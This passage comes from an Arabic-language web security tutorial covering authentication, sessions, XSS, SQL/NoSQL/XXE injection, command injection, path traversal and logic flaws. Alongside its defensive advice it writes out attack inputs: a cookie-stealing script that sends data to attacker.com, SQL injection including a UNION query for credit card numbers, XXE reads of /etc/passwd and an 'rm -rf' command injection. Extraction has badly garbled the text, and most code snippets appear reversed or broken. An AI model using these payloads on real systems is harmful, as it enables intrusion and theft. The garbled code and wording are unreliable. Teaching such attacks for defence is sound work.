‫ممكن يعيضها بسهولة‪.‬‬

‫‪ .3‬كيف يهاجم الهاكر أنظمة المصادقة؟‬


‫التخمي (‪:)Brute Force‬‬
‫ر‬ ‫أ‪.‬‬
‫‪ ‬جرب كل الكلمات الممكنة لحد ما يوصل لكلمة المرور الصحيحة‪.‬‬
‫‪ ‬مثال‪ :‬لو المستخدم اسمه ‪ ،admin‬الهاكر يجرب كلمات ش زي‪:‬‬
‫‪admin123 ‬‬
‫‪password ‬‬
‫‪letmein ‬‬
‫ب‪ .‬الهجوم بالقوة الغاشمة (‪:)Password Spraying‬‬
‫كتي عل حساب واحد‪ ،‬بيجرب كلمة واحدة‬ ‫‪ ‬بدل ما يجرب كلمات ر‬
‫كتي‪.‬‬
‫عل حسابات ر‬
‫‪ ‬مثال‪ :‬يجرب كلمة "‪ "Welcome123‬عل ‪ 100‬حساب‪.‬‬
‫االفباضية (‪:)Default Credentials‬‬ ‫ر‬ ‫ج‪ .‬استغالل الكلمات‬
‫‪ ‬بعض األنظمة بتستخدم كلمات ش افياضية زي‬
‫تغيش‪ ،‬الهاكر عنده فرصة ذهبية‪.‬‬‫"‪ ."admin/admin‬لو النظام ما ر‬
‫د‪ .‬التنكر كمسؤول (‪:)Impersonation‬‬
‫يعن كلمة ش‬‫بعض التطبيقات فيها "ثغرة خلفية" (‪ ،)Backdoor‬ي‬ ‫‪‬‬

‫خاصة تدخل عل كل الحسابات!‬


‫التخمي أو البحث يف الكود‪.‬‬
‫ر‬ ‫يالف الكلمة دي باستخدام‬
‫الهاكر يقدر ي‬ ‫‪‬‬

‫تحسي األمان‪:‬‬
‫ر‬ ‫‪ .4‬طرق‬
‫أ‪ .‬استخدام كلمات مرور قوية‪:‬‬
‫‪ ‬الزم تكون طويلة ومعقدة‪ ،‬زي‪:‬‬
‫‪*Xzq9&A$7m ‬‬
‫التشفب القوي (‪:)Encryption‬‬
‫ر‬ ‫ب‪.‬‬
‫‪ ‬تأكد إن البيانات بتتنقل عن طريق ‪.HTTPS‬‬
‫ج‪ .‬حماية الوظائف اإلضافية‪:‬‬
‫زي "نسيت كلمة المرور"‪ ،‬الزم تكون متأكد إن مفيش حد يقدر‬ ‫‪‬‬

‫يستغلها بسهولة‪.‬‬
‫د‪ .‬التعامل مع المحاوالت الفاشلة بحذر‪:‬‬
‫ً‬
‫مؤقتا‪.‬‬ ‫‪ ‬لو يف أكي من محاولة فاشلة‪ ،‬اقفل الحساب‬
‫‪ .5‬أدوات الختبار المصادقة‪:‬‬
‫‪ :Burp Suite ‬الختبار تسجيل الدخول‪.‬‬
‫التخمي عل كلمات الرس‪.‬‬
‫ر‬ ‫‪ :Hydra‬الختبار‬ ‫‪‬‬

‫‪ :OWASP ZAP ‬لتحليل الثغرات‪.‬‬


‫الخالصة‪:‬‬
‫نظام المصادقة زي حارس الباب‪ .‬لو الهاكر قدر يتخطاه‪ ،‬كل حاجة جوه‬
‫التطبيق ف خطر‪ .‬عشان كده‪ ،‬الزم تبق ذك ومتيقظ‪ ،‬وتفكر ً‬
‫دايما زي‬ ‫ي‬ ‫ي‬
‫تحم نظامك كويس! 🚀‬‫ي‬ ‫الهاكر عشان‬
‫الفصل السابع‪ :‬مهاجمة إدارة الجلسات ( ‪Attacking Session‬‬
‫‪)Management‬‬
‫الفصل ده هو عن واحدة من أكي األمور حساسية يف أمان تطبيقات‬
‫الويب‪ :‬إدارة الجلسات (‪ .)Session Management‬زي ما مفتاح بيتك‬
‫الل بتضمن دخولك اآلمن‪ ،‬رمز الجلسة ( ‪Session‬‬‫هو الطريقة ي‬
‫الل بيضمن دخول المستخدم للتطبيق‪ .‬لكن لو‬‫‪ )Token‬هو المفتاح ي‬
‫المفتاح ده يف مشكلة‪ ،‬الكارثة بتكون ضخمة! 😱‬
‫‪ .1‬ليه إدارة الجلسات مهمة؟‬
‫كل مرة تسجل دخولك‪ ،‬التطبيق بيخلق جلسة فريدة عشان يتابعك‪.‬‬
‫‪ ‬رمز الجلسة (‪:)Token‬‬
‫غي ما‬
‫رمز فريد بيتخزن يف المتصفح عشان التطبيق يعرفك من ر‬
‫تدخل كلمة الرس كل شوية‪.‬‬
‫إيه المشكلة؟‬
‫لو حد خد الرمز ده أو كان ضعيف‪ ،‬أي حد ممكن يدخل مكانك!‬
‫‪ .2‬نقاط الضعف الشائعة يف إدارة الجلسات‬
‫أ‪ .‬الرموز الضعيفة (‪:)Weak Tokens‬‬
‫‪ .1‬رموز متوقعة‪:‬‬
‫زي ما يكون رقم الجلسة ‪ 1234‬والمرة الجاية ‪ .1235‬أي هاكر‬
‫الل جاي‪.‬‬
‫بسيط يقدر يخمن الرقم ي‬
‫‪ .2‬رموز مفهومة (‪:)Meaningful Tokens‬‬
‫لو الرمز فيه بيانات مشفرة (زي اسم المستخدم)‪ ،‬الهاكر ممكن يفك‬
‫التشفي ويستخدمها‪.‬‬
‫ر‬
‫ب‪ .‬كشف الرموز (‪:)Token Exposure‬‬
‫‪ .1‬يف الشبكة‪:‬‬
‫غي ‪ ،HTTPS‬الهاكر يقدر يعيضها‬ ‫لو البيانات بتتبعت من ر‬
‫بسهولة‪.‬‬
‫الكوكب‪:‬‬
‫ر‬ ‫‪ .2‬يف‬
‫الكوكي مش معمولة بأمان (مثل العلم ‪ ،)HttpOnly‬أي‬
‫ر‬ ‫لو‬
‫‪ JavaScript‬ضار يقدر يوصلها‪.‬‬
‫ج‪ .‬انتهاء الجلسة (‪:)Session Termination‬‬
‫بعض التطبيقات مش بتقفل الجلسة لما المستخدم يخرج‪.‬‬ ‫‪‬‬

‫‪ ‬النتيجة؟ الجلسة تفضل شغالة‪ ،‬والهاكر ممكن يستغلها‪.‬‬

‫‪ .3‬هجمات شائعة عىل إدارة الجلسات‬


‫أ‪ .‬رسقة الجلسة (‪:)Session Hijacking‬‬
‫يستوىل عل رمز الجلسة باستخدام طرق زي‪:‬‬
‫ي‬ ‫‪ ‬الهاكر‬
‫‪ ‬هجوم الوسيط (‪ :)Man-in-the-Middle‬يعيض البيانات‬
‫المرسلة‪.‬‬
‫‪ :XSS ‬يدخل كود ‪ JavaScript‬خبيث يرسق الرموز‪.‬‬
‫ب‪ .‬تثبيت الجلسة (‪:)Session Fixation‬‬
‫معي‪ ،‬وبعدها يستغل‬
‫يجي الضحية عل استخدام رمز جلسة ر‬
‫الهاكر ر‬ ‫‪‬‬

‫الرمز للدخول‪.‬‬
‫غب منتهية الصالحية‪:‬‬
‫ج‪ .‬رموز ر‬
‫الل بتفضل شغالة حن بعد ما المستخدم يخرج‪.‬‬
‫‪ ‬زي الجلسات ي‬
‫تحم إدارة الجلسات؟‬ ‫ي‬ ‫‪ .4‬كيف‬
‫أ‪ .‬إنشاء رموز قوية (‪:)Strong Tokens‬‬
‫عشوان قوي‪.‬‬
‫ي‬ ‫‪ ‬استخدم مولد أرقام‬
‫التفسي‪.‬‬
‫ر‬ ‫للتخمي أو‬
‫ر‬ ‫غي قابل‬
‫‪ ‬خليه ر‬
‫ب‪ .‬حماية الرموز أثناء النقل (‪:)Protect Tokens in Transit‬‬
‫ً‬
‫‪ .1‬استخدام ‪ HTTPS‬دائما‪:‬‬
‫عشان تشفر البيانات وتمنع اعياضها‪.‬‬
‫الكوكب‪:‬‬
‫ر‬ ‫‪ .2‬عالمة ‪ HttpOnly‬يف‬
‫تمنع الوصول للرمز عن طريق ‪.JavaScript‬‬
‫ج‪ .‬إدارة صالحية الجلسات‪:‬‬
‫‪ .1‬تحديد وقت انتهاء‪:‬‬
‫ً‬
‫معي‪.‬‬ ‫تنته تلقائيا بعد وقت ر‬
‫ي‬ ‫كل جلسة الزم‬
‫‪ .2‬إنهاء الجلسات عند تسجيل الخروج‪:‬‬
‫عشان تمنع استغالل الجلسة بعد الخروج‪.‬‬
‫الكوكب (‪:)Cookie Scope‬‬ ‫ر‬ ‫د‪ .‬تقليل مجال‬
‫خليه مربوط بالنطاق أو المسار المطلوب فقط‪.‬‬ ‫‪‬‬

‫‪ .5‬أدوات وأمثلة عملية‬


‫‪ :Burp Suite‬لفحص الجلسات والتالعب يف الرموز‪.‬‬ ‫‪‬‬

‫‪ :Wireshark ‬العياض البيانات وتحليلها‪.‬‬


‫‪ :OWASP ZAP ‬الختبار األمان وإيجاد الثغرات‪.‬‬
‫‪ .6‬ملخص الفصل‪:‬‬
‫ه قلب أمان التطبيق‪.‬‬‫‪ ‬إدارة الجلسات ي‬
‫‪ ‬أي ثغرة يف الرموز أو طريقة التعامل معها ممكن تؤدي الخياق‬
‫التطبيق بالكامل‪.‬‬
‫‪ ‬الحل؟ رموز قوية‪ ،‬نقل آمن‪ ،‬إدارة فعالة للجلسات‪.‬‬
‫الفصل الثامن‪ :‬ثغرات )‪✨🎭 XSS (Cross-Site Scripting‬‬
‫ه ثغرات ‪XSS‬؟‬ ‫‪ .1‬إيه ي‬
‫ه لما التطبيق بياخد مدخالت من المستخدم (زي‬ ‫ببساطة‪ XSS ،‬ي‬ ‫‪‬‬

‫غي ما يتحقق منها أو ينضفها‪.‬‬


‫نص يف فورم) ويعرضها من ر‬
‫‪ ‬ده بيدي الفرصة للهاكر إنه يزرع أكواد جافاسكريبت خبيثة‪ ،‬تعمل‬
‫حاجات زي‪:‬‬
‫الكوكي‪.‬‬
‫ر‬ ‫‪ ‬شقة ملفات‬
‫اختطاف الجلسات (‪.)Session Hijacking‬‬ ‫‪‬‬

‫‪ ‬تنفيذ أوامر عل جهاز المستخدم‪.‬‬


‫‪ .2‬أنواع ثغرات ‪:XSS‬‬
‫أ‪ XSS .‬االنعكاسية (‪:)Reflected XSS‬‬
‫‪ ‬بتحصل لما التطبيق يعرض المدخالت عل طول يف الرد‬
‫غي ما يتحقق‪.‬‬ ‫(‪ )Response‬من ر‬
‫‪ ‬مثال‪:‬‬
‫رابط زي ده‪:‬‬
‫‪script/<)1(alert>script<=http://example.com/search?q‬‬ ‫‪‬‬

‫>‬
‫الل كتبته يف صفحة‬‫‪ ‬لما تدخل الرابط‪ ،‬التطبيق يعرض النص ي‬
‫النتيجة‪ ،‬وتشوف نافذة منبثقة (‪.)Alert‬‬
‫‪ ‬االستخدام الشائع؟‬
‫الهاكر يبعت الرابط لضحيته ويقنعه يفتحه‪.‬‬
‫ب‪ XSS .‬المخزنة (‪:)Stored XSS‬‬
‫ويعرض‬ ‫‪ ‬هنا الكود الخبيث بيتخزن ف قاعدة البيانات أو السيفر‪ُ ،‬‬
‫ر‬ ‫ي‬
‫الل يدخلوا الصفحة‪.‬‬‫المستخدمي ي‬
‫ر‬ ‫لكل‬
‫‪ ‬مثال‪:‬‬
‫‪ ‬هاكر يكتب تعليق فيه كود جافاسكريبت خبيث‪.‬‬
‫‪ ‬أي حد يشوف التعليق‪ ،‬الكود يشتغل عنده‪.‬‬
‫ج‪ XSS .‬المعتمدة عىل )‪:DOM (DOM-based XSS‬‬
‫‪ ‬بتحصل لما التطبيق يتعامل مع المدخالت عل جانب العميل‬
‫كاف‪.‬‬
‫غي تحكم ي‬ ‫(‪ )Client-Side‬باستخدام جافاسكريبت‪ ،‬من ر‬
‫‪ ‬مثال‪:‬‬
‫‪;)1(var message = location.hash.substring‬‬ ‫‪‬‬

‫‪;document.write(message) ‬‬
‫‪ .3‬أمثلة عملية عىل هجمات ‪:XSS‬‬
‫مثال ‪ :1‬رسقة الجلسات (‪:)Session Hijacking‬‬
‫‪ .1‬هاكر يزرع كود زي ده يف التعليقات‪:‬‬
‫‪>script< .2‬‬
‫‪+ '=http://attacker.com?cookie'(fetch .3‬‬
‫‪;)document.cookie‬‬
‫‪>script/< .4‬‬
‫الكوكي ويبعته للهاكر‪.‬‬
‫ر‬ ‫‪ .5‬لما المستخدم يشوف الصفحة‪ ،‬الكود يرسق‬
‫الكوكي ممكن تحتوي عل رموز الجلسة (‪،)Session Tokens‬‬
‫ر‬ ‫‪.6‬‬

‫والهاكر يقدر يدخل بحساب الضحية‪.‬‬


‫مثال ‪ XSS :2‬و ‪MySpace‬‬
‫‪ ‬يف ‪ ،2005‬هاكر اسمه ‪ Samy‬استغل ثغرة ‪ XSS‬يف ‪.MySpace‬‬
‫اآلن‪:‬‬
‫والل عمل ي‬ ‫‪ ‬كتب كود جافاسكريبت يف صفحته الشخصية‪ ،‬ي‬
‫‪ ‬ضاف كل حد يزور صفحته كـ "صديق"‪.‬‬
‫تلقان‪.‬‬ ‫نرس الكود عل صفحات الزوار بشكل‬‫‪ ‬ر‬
‫ي‬
‫‪ ‬يف ساعات قليلة‪ ،‬كان عنده مليون طلب صداقة! ‪MySpace‬‬
‫اضطروا يقفلوا الموقع إلصالح المشكلة ‪.‬‬
‫‪ .4‬حماية نفسك من ثغرات ‪:XSS‬‬
‫أ‪ .‬تنظيف المدخالت (‪:)Input Validation‬‬
‫اتأكد إن أي مدخالت مستخدم يتم فليتها من الرموز الخطرة زي‪:‬‬ ‫‪‬‬

‫‪;'">< ‬‬
‫ترمب المخرجات (‪:)Output Encoding‬‬ ‫ب‪ .‬ر‬
‫‪ ‬لما تعرض المدخالت‪ ،‬حول الرموز الخطرة لنسخ آمنة‪.‬‬
‫‪ ‬مثال‪ < :‬تصبح &‪;lt‬‬
‫ج‪ .‬استخدام هيدرز األمان‪:‬‬
‫‪ ‬زي )‪ :Content Security Policy (CSP‬تمنع تحميل‬
‫غي موثوق بها‪.‬‬
‫سكربتات ر‬
‫د‪ .‬استخدام مكتبات جاهزة‪:‬‬
‫مكتبات زي ‪ OWASP Java Encoder‬أو ‪ ESAPI‬تسهل‬ ‫‪‬‬

‫تطبيق األمان‪.‬‬
‫‪ .5‬أدوات الكتشاف الثغرات‪:‬‬
‫‪ :Burp Suite ‬لفحص الثغرات وتجربة األكواد‪.‬‬
‫‪ :OWASP ZAP‬تحليل التطبيق واختبار الهجمات‪.‬‬ ‫‪‬‬

‫‪ :XSStrike ‬أداة خاصة بثغرات ‪.XSS‬‬


‫الخالصة‪:‬‬
‫ثغرات ‪ XSS‬مش مجرد هجمات عشوائية‪ ،‬دي واحدة من أكي الثغرات‬
‫وتحم تطبيقك منها‪.‬‬
‫ي‬ ‫خطورة وانتشار‪ .‬لو فاهمها كويس‪ ،‬تقدر تكتشفها‬
‫تذكر ً‬
‫دائما‪ :‬األمان يبدأ من الكود النظيف! 💪‬
‫الفصل التاسع‪ :‬مهاجمة مخازن البيانات (‪)Attacking Data Stores‬‬
‫️🗂💻‬
‫الل التطبيقات‬
‫الل بيغطس بنا يف عالم مخازن البيانات‪ ،‬الحتة ي‬
‫ده الفصل ي‬
‫المستخدمي‪ ،‬كلمات المرور‪ ،‬إعدادات‬
‫ر‬ ‫بتحط فيها كل حاجاتها الحساسة‪:‬‬
‫التطبيق‪ ،‬وكل األشار! الفكرة إن لو المهاجم قدر يلعب يف المخزن ده‪،‬‬
‫ممكن يفتح التطبيق زي علبة شدين! او تونه ايمها اقرب 🎭‬

‫‪ .1‬إيه ي‬
‫ه مخازن البيانات؟‬
‫الل بيستخدمها‪.‬‬
‫الل بيحفظ فيه التطبيق البيانات ي‬
‫ه المكان ي‬
‫ي‬ ‫‪‬‬

‫‪ ‬أمثلة‪:‬‬
‫‪ :SQL Databases ‬زي ‪ MySQL‬و‪.PostgreSQL‬‬
‫‪ :NoSQL Databases ‬زي ‪.MongoDB‬‬
‫‪ XML ‬أو ‪ :LDAP‬للتعامل مع البيانات بشكل مختلف‪.‬‬
‫ليه المخازن دي مهمة؟‬
‫ألنها بتحتوي عل الحاجات الل من غيها التطبيق بيقف ً‬
‫تماما‪.‬‬ ‫ر‬ ‫ي‬ ‫‪‬‬

‫‪ ‬المهاجم ممكن يستخدمها عشان‪:‬‬


‫‪ ‬يعدل البيانات‪.‬‬
‫‪ ‬يرسق معلومات‪.‬‬
‫‪ ‬يخترص الطريق ويعدي أنظمة الحماية‪.‬‬

‫‪ .2‬أنواع الهجمات عىل مخازن البيانات‬


‫أ‪ .‬حقن )‪:SQL (SQL Injection‬‬
‫دي من أشهر الهجمات‪ .‬بتحصل لما التطبيق ياخد مدخالت من‬
‫غي ما يتحقق‪.‬‬‫المستخدم ويحطها يف استعالم ‪ SQL‬من ر‬
‫‪ ‬مثال‪:‬‬
‫طلب تسجيل دخول‪:‬‬
‫‪'admin' = SELECT * FROM users WHERE username‬‬ ‫‪‬‬

‫‪;'123' = AND password‬‬


‫‪ ‬لو المستخدم دخل‪:‬‬
‫‪1'='1' OR ' ‬‬
‫‪ ‬النتيجة‪:‬‬
‫‪'' = SELECT * FROM users WHERE username ‬‬
‫‪;'1'='1' OR‬‬
‫‪ ‬ده بيعمل تسجيل دخول ألي مستخدم! 😱‬
‫ب‪ .‬حقن ‪:NoSQL‬‬
‫‪ ‬بتحصل يف قواعد بيانات ‪ NoSQL‬زي ‪.MongoDB‬‬
‫‪ ‬مثال‪:‬‬
‫لو االستعالم بيستخدم ‪:JSON‬‬
‫‪} passInput :"password" ,userInput :"username" { ‬‬
‫‪ ‬ممكن المهاجم يدخل‪:‬‬
‫‪} null :"ne$" { ‬‬
‫‪ ‬ده بيتجاوز التحقق‪.‬‬
‫ج‪ .‬حقن )‪:XML (XPath Injection‬‬
‫‪ XPath ‬هو طريقة للوصول للبيانات المخزنة يف ‪.XML‬‬
‫لو المهاجم قدر يعدل يف االستعالم‪ ،‬ممكن يرسق أو يعدل البيانات‪.‬‬ ‫‪‬‬

‫د‪ .‬حقن ‪:LDAP‬‬


‫المستخدمي‪.‬‬
‫ر‬ ‫‪ LDAP‬بيستخدم لتخزين وإدارة البيانات زي أسماء‬ ‫‪‬‬

‫‪ ‬المهاجم ممكن يحقن أوامر خبيثة عشان يتخىط التحقق‪.‬‬

‫‪ .3‬أمثلة عملية‬
‫مثال ‪ :1‬رسقة البيانات باستخدام ‪SQL Injection‬‬
‫‪ .1‬مهاجم يكتشف حقل تسجيل دخول حساس‪.‬‬
‫‪ .2‬يدخل‪:‬‬
‫' ‪UNION SELECT credit_card_number FROM‬‬ ‫‪.3‬‬

‫‪-- credit_cards‬‬
‫‪ .4‬النتيجة؟ أرقام بطاقات ائتمان كاملة! 💳‬
‫مثال ‪ :2‬حقن ‪ XML‬ورسقة الملفات‬
‫‪ ‬لو التطبيق بيستخدم ‪ XML‬لتحديد الملفات‪.‬‬
‫‪ ‬المهاجم يرسل‪:‬‬
‫‪ENTITY xxe SYSTEM!<[ DOCTYPE foo!< ‬‬
‫"‪>] >"file:///etc/passwd‬‬
‫‪>data/<;xxe&>data< ‬‬
‫النتيجة؟ يقدر يشوف ملف كلمات المرور!‬ ‫‪‬‬

‫‪ .4‬حماية مخازن البيانات من الهجمات‬


‫ً‬
‫أ‪ .‬استخدام استعالمات معدة مسبقا (‪:)Prepared Statements‬‬
‫‪ ‬تمنع إدخال كود خبيث‪.‬‬
‫‪ ‬مثال‪:‬‬
‫ً‬
‫بدال من‪:‬‬
‫‪= SELECT * FROM users WHERE username ‬‬
‫'‪;'userInput$‬‬
‫استخدم‪:‬‬
‫‪SELECT * FROM users "(prepare>-stmt = $conn$‬‬
‫‪;)"? = WHERE username‬‬
‫‪;)userInput$ ,"s"(bind_param>-stmt$‬‬
‫ب‪ .‬تقييد االمتيازات‪:‬‬
‫خل التطبيق عنده أقل قدر من الصالحيات عل قاعدة البيانات‪.‬‬
‫ي‬ ‫‪‬‬

‫فلبة المدخالت‪:‬‬ ‫ج‪ .‬ر‬


‫‪ ‬تأكد إن المدخالت متوافقة مع المتوقع‪.‬‬
‫‪ ‬مثال‪ :‬اسم المستخدم الزم يبق حروف وأرقام فقط‪.‬‬
‫التشفب‪:‬‬
‫ر‬ ‫د‪ .‬استخدام‬
‫‪ ‬شفر البيانات الحساسة زي كلمات المرور‪.‬‬
‫ـه‪ .‬التسجيل (‪:)Logging‬‬
‫‪ ‬سجل كل المحاوالت الفاشلة عشان تكتشف الهجمات بدري‪.‬‬
‫‪ .5‬أدوات للمساعدة‪:‬‬
‫‪ :SQLMap ‬أداة لفحص واستغالل ‪.SQL Injection‬‬
‫‪ :Burp Suite ‬لفحص التطبيق ومحاكاة الهجمات‪.‬‬
‫وتأمي التطبيقات‪.‬‬
‫ر‬ ‫‪ :OWASP ZAP ‬الكتشاف الثغرات‬
‫الخالصة‪:‬‬
‫الهجوم عل مخازن البيانات ممكن يدمر التطبيق بالكامل‪.‬‬
‫العارس‪ :‬مهاجمة المكونات الخلفية (‪Attacking Back-‬‬ ‫ر‬ ‫الفصل‬
‫‪🖥️🔍 )End Components‬‬
‫الفصل ده بيدخلنا يف أعماق التطبيقات ويستكشف إزاي ممكن‬
‫المهاجمي يكتشفوا ويستغلوا ثغرات يف المكونات الخلفية للتطبيق‪.‬‬
‫ر‬
‫تخيل إنك بتدور عل مفاتيح سحرية تفتح غرف مخفية! 🎭‬
‫ه المكونات الخلفية؟‬‫‪ .1‬إيه ي‬
‫الل بتشتغل ورا الكواليس يف التطبيقات‪:‬‬
‫ه األجزاء ي‬
‫‪ ‬دي ي‬
‫‪ ‬أنظمة التشغيل (‪.)OS‬‬
‫‪ ‬قواعد البيانات‪.‬‬
‫‪ ‬خدمات الويب (‪.)Web Services‬‬
‫‪ ‬ملفات النظام‪.‬‬
‫خطب؟‬
‫ر‬ ‫ليه الموضوع ده‬
‫لو المهاجم قدر يتحكم يف المكونات دي‪ ،‬ممكن يسيطر عل التطبيق كله‬
‫السيفر بالكامل!‬
‫أو حن ر‬
‫‪ .2‬أنواع الهجمات الشائعة عىل المكونات الخلفية‬
‫أ‪ .‬حقن األوامر عىل أنظمة التشغيل (‪:)OS Command Injection‬‬
‫‪ ‬بتحصل لما التطبيق يسمح بتنفيذ أوامر عل نظام التشغيل ً‬
‫بناء عل‬
‫مدخالت المستخدم‪.‬‬
‫‪ ‬مثال‪:‬‬
‫لو التطبيق بياخد اسم ملف من المستخدم وبيستخدمه يف أمر‬
‫نظام‪:‬‬
‫‪ls /home/files/{user_input} ‬‬
‫مهاجم ممكن يدخل‪ / rm -rf ; :‬عشان يمسح كل الملفات!‬ ‫‪‬‬

‫😱‬
‫اخباق المسارات (‪:)Path Traversal‬‬ ‫ب‪ .‬ر‬
‫بتحصل لما المهاجم يقدر يطلب ملفات خارج المسار المخصص‬ ‫‪‬‬

‫ليه‪.‬‬
‫‪ ‬مثال‪:‬‬
‫رابط زي ده‪:‬‬
‫‪http://example.com/download?file=report.pdf ‬‬
‫‪ ‬ممكن يتعدل لـ‪:‬‬
‫‪http://example.com/download?file=../../etc/passw ‬‬
‫‪d‬‬
‫‪ ‬ده هيعرض ملف كلمات المرور الخاص بالنظام‪.‬‬
‫ج‪ .‬ثغرات ‪:)XML External Entity (XXE‬‬
‫بتحصل لما التطبيق يعالج مدخالت ‪ XML‬بدون حماية‪ ،‬فيقدر‬ ‫‪‬‬

‫خارج (‪.)External Entity‬‬


‫ر ي‬ ‫المهاجم يستخدم كيان‬
‫‪ ‬مثال‪:‬‬
‫كود ‪ XML‬ممكن يقرأ ملفات حساسة‪:‬‬
‫‪[ DOCTYPE data!< ‬‬
‫‪>"file:///etc/passwd" ENTITY xxe SYSTEM!< ‬‬
‫‪>] ‬‬
‫‪>data/<;xxe&>data< ‬‬
‫ون (‪:)SMTP Injection‬‬ ‫ر‬
‫ي‬ ‫اإللكب‬ ‫د‪ .‬حقن ر‬
‫البيد‬
‫الييدية‪.‬‬
‫غي متوقعة للرسائل ر‬ ‫‪ ‬المهاجم يضيف رؤوس ر‬
‫‪ ‬مثال‪:‬‬
‫إدخال‪:‬‬
‫‪To: [email protected] ‬‬
‫‪From: [email protected] ‬‬
‫‪Subject: Hacked ‬‬
‫يغي محتوى الرسالة أو يرسلها لضحية‪.‬‬
‫ممكن ر‬ ‫‪‬‬

‫‪ .3‬أمثلة عملية توضح الخطورة‬


‫مثال ‪ :1‬حذف الملفات (‪:)OS Injection‬‬
‫‪ ‬سيناريو‪:‬‬
‫تطبيق بيسمح للمستخدم برؤية قائمة الملفات‪.‬‬
‫‪ ‬إدخال ضار‪:‬‬
‫‪rm -rf /important/data ; ‬‬
‫‪ ‬النتيجة‪ :‬كل الملفات المهمة اتمسحت!‬
‫مثال ‪ :2‬قراءة الملفات الحساسة (‪:)Path Traversal‬‬
‫‪ ‬سيناريو‪:‬‬
‫مهاجم بيطلب ملف ‪ etc/passwd/../..‬ويشوف معلومات‬
‫تخدمي‪.‬‬
‫ر‬ ‫المس‬
‫ر‬
‫ون (‪:)SMTP‬‬ ‫ي‬ ‫اإللكب‬ ‫مثال ‪ :3‬تالعب ر‬
‫بالبيد‬
‫‪ ‬سيناريو‪:‬‬
‫المستخدمي يف قاعدة البيانات‪.‬‬
‫ر‬ ‫مهاجم يرسل إيميل ضار لكل‬
‫‪ .4‬كيفية الحماية من هذه الهجمات‬
‫أ‪ .‬تنظيف المدخالت (‪:)Input Validation‬‬
‫المستخدمي متوافقة مع المتوقع‪.‬‬
‫ر‬ ‫اتأكد إن أي مدخالت من‬ ‫‪‬‬

‫‪ ‬استخدم مكتبات جاهزة لتصفية المدخالت‪.‬‬


‫ب‪ .‬الحد من االمتيازات (‪:)Limit Privileges‬‬
‫‪ ‬امنح التطبيقات أقل قدر من الصالحيات‪.‬‬
‫مثال‪ :‬لو التطبيق مش محتاج يقرأ ملفات النظام‪ ،‬امنعه من كده‪.‬‬ ‫‪‬‬

‫التشفب (‪:)Encoding‬‬
‫ر‬ ‫ج‪.‬‬
‫‪ ‬شفر أي مدخالت متعلقة بالمسارات أو األوامر‪.‬‬
‫د‪ .‬إعدادات ‪ XML‬آمنة‪:‬‬
‫امنع الكيانات الخارجية (‪ )External Entities‬يف تحليل ‪.XML‬‬ ‫‪‬‬

‫‪ .5‬أدوات تساعدك يف االختبار‪:‬‬


‫‪ :Burp Suite‬لفحص وتحليل الطلبات‪.‬‬ ‫‪‬‬

‫‪ :OWASP ZAP ‬الكتشاف الثغرات‪.‬‬


‫السيفر‪.‬‬
‫‪ :Nikto ‬لتحليل إعدادات ر‬
‫‪ :WFuzz ‬الختبار نقاط اإلدخال‪.‬‬
‫الخالصة‪:‬‬
‫تعتي من أخطر الهجمات ألنها‬
‫الهجمات عل المكونات الخلفية ر‬
‫الل بيشتغل عليها التطبيق‪ .‬الزم تكون فاهم كويس‬
‫بتستهدف األساسيات ي‬
‫نقاط الضعف وتحميها باستخدام أفضل الممارسات واألدوات‪.‬‬
‫عش‪ :‬مهاجمة منطق التطبيقات ( ‪Attacking‬‬ ‫الفصل الحادي ر‬
‫‪🛠️🎭 )Application Logic‬‬
‫الفصل ده واحد من الفصول الممتعة ألنه بيتكلم عن واحدة من أكي‬
‫تفكي الناس وتصميمهم‪ :‬أخطاء منطق‬ ‫الل بتحصل بسبب ر‬ ‫الثغرات ي‬
‫التطبيقات‪.‬‬
‫بدل ما تهاجم الخادم ر‬
‫مباشة أو تسحب بيانات‪ ،‬هنا بنلعب عل طريقة‬
‫الل ممكن نالقيه يف التطبيقات‪😎 .‬‬
‫تفكي المطورين والتصميم الخاط ي‬
‫ر‬

‫‪ .1‬إيه ي‬
‫ه ثغرات منطق التطبيقات؟‬
‫ثغرات منطق التطبيقات بتحصل لما المطور يفيض حاجة معينة عن‬
‫طريقة استخدام التطبيق‪ ،‬لكن المهاجم بيستخدمه بشكل مختلف‪.‬‬
‫‪ ‬دي مش مشكلة يف الكود نفسه‪ ،‬لكنها مشكلة يف "منطق" الكود‪.‬‬
‫مش فاهم صح هتفهم مع االمثله ‪.‬‬
‫‪ .2‬أمثلة عىل الثغرات يف منطق التطبيقات‪:‬‬
‫أ‪ .‬تجاوز الخطوات المطلوبة (‪:)Skipping Steps‬‬
‫‪ ‬مثال‪ :‬موقع للتسوق بيتطلب منك‪:‬‬
‫‪ .1‬اختيار المنتج‪.‬‬
‫‪ .2‬الدفع‪.‬‬
‫‪ .3‬تأكيد الطلب‪.‬‬
‫‪ ‬المهاجم‪ :‬يدخل عل خطوة تأكيد الطلب ر‬
‫مباشة بدون ما‬
‫يدفع!‬
‫تغيب القيم أثناء العملية (‪:)Parameter Manipulation‬‬
‫ب‪ .‬ر‬
‫‪ ‬مثال‪:‬‬
‫تطبيق بيع تذاكر بيحسب عدد التذاكر وسعرها‪.‬‬
‫‪price=100&buy?quantity=2/ ‬‬
‫‪ ‬المهاجم يعدل الرابط لـ‪:‬‬
‫‪price=1&buy?quantity=2/ ‬‬
‫ج‪ .‬استخدام بيانات قديمة (‪:)Replay Attacks‬‬
‫‪ ‬مثال‪:‬‬
‫كوبون خصم بيستخدم مرة واحدة‪ .‬المهاجم يخزن الطلب‪ ،‬ويعيد‬
‫إرساله مرة تانية بعد استخدام الكوبون‪.‬‬

‫‪ .3‬كيف تكتشف ثغرات منطق التطبيقات؟‬


‫أ‪ .‬تحليل التدفق (‪:)Flow Analysis‬‬
‫‪ .1‬تتبع كل الخطوات المطلوبة إلكمال العملية‪.‬‬
‫تغيي ترتيبها‪.‬‬
‫تخىط الخطوات‪ ،‬أو ر‬
‫ي‬ ‫‪ .2‬جرب‬
‫ب‪ .‬اختبار المدخالت (‪:)Input Testing‬‬
‫غي متوقعة يف الحقول‪.‬‬
‫‪ .1‬جرب قيم ر‬
‫‪ .2‬احذف الحقول المهمة وشوف التطبيق هيعمل إيه‪.‬‬
‫المستخدمي‪:‬‬
‫ر‬ ‫ج‪ .‬اختبار صالحيات‬
‫تأكد إن المستخدم العادي ما يقدرش ينفذ وظائف ر‬
‫المرسف‬ ‫‪‬‬

‫(‪.)Admin Functions‬‬
‫‪ .4‬أمثلة عملية عىل الهجمات‪:‬‬
‫مثال ‪ :1‬إتمام عملية بدون دفع‬
‫‪ .1‬مستخدم يضيف منتج للسلة‪.‬‬
